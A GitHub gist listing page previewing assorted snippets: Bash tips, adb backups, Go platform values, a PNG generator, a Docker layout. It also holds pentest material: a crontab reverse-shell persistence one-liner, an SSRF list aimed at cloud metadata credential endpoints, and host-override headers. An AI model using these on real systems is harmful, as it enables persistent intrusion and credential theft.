Skip to content

Instantly share code, notes, and snippets.

View w0ltage's full-sized avatar
:shipit:
hacking myself

Artyom Bulgakov w0ltage

:shipit:
hacking myself
View GitHub Profile
@whoamins
whoamins / http-headers.txt
Created March 11, 2023 20:58
Host Override Headers
bae-env-addr-bcms:
bae-env-addr-bcs:
bae-env-addr-bus:
bae-env-addr-channel:
bae-env-addr-sql-ip:
bae-env-addr-sql-port:
base-url:
cache_info:
CF-Connecting-IP:
cf-connecting_ip:
@wcarhart
wcarhart / bash_tidbits.md
Last active February 15, 2024 05:46
Helpful Bash design patterns

Helpful Bash tidbits

@AnatomicJC
AnatomicJC / android-backup-apk-and-datas.md
Last active May 16, 2024 09:28
Backup android app, data included, no root needed, with adb

Backup android app, data included, no root needed, with adb

Note: This gist may be outdated, thanks to all contributors in comments.

adb is the Android CLI tool with which you can interact with your android device, from your PC

You must enable developer mode (tap 7 times on the build version in parameters) and install adb on your PC.

Don't hesitate to read comments, there is useful tips, thanks guys for this !

@hoefler02
hoefler02 / persistence.sh
Last active December 24, 2023 02:44
Persistent Reverse Shell via Crontab
#!/bin/bash
# persistent reverse shell backdoor via crontab
# overwrites existing crontabs
(touch .tab ; echo "* * * * * reverse-shell-of-choice" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1
# keeps existing crontabs
(crontab -l > .tab ; echo "* * * * * reverse-shell-of-choice" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1
@asukakenji
asukakenji / 0-go-os-arch.md
Last active May 13, 2024 09:32
Go (Golang) GOOS and GOARCH

Go (Golang) GOOS and GOARCH

All of the following information is based on go version go1.17.1 darwin/amd64.

GOOS Values

GOOS Out of the Box
aix
android
@BuffaloWill
BuffaloWill / cloud_metadata.txt
Last active April 16, 2024 04:15
Cloud Metadata Dictionary useful for SSRF Testing
## IPv6 Tests
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]
## AWS
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
@theonlypwner
theonlypwner / randompng.py
Last active August 25, 2023 09:58
Random PNG generator
#!/usr/bin/env python
# Random PNG generator
__copyright__ = "Copyright (C) 2016 Victor Zheng"
__licence__ = "GNU GPL v3"
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
@stephenmelrose
stephenmelrose / structure.md
Created September 25, 2015 15:26
Docker folder structure

I generally have Docker related stuff in a subfolder in my repo. In the example below, all the code is sat in the root, but you could equally put all the code in a subfolder as well.

<repo_folder>
    code/
    more_code/
    docker/
        bin/
            setup.sh
 nginx/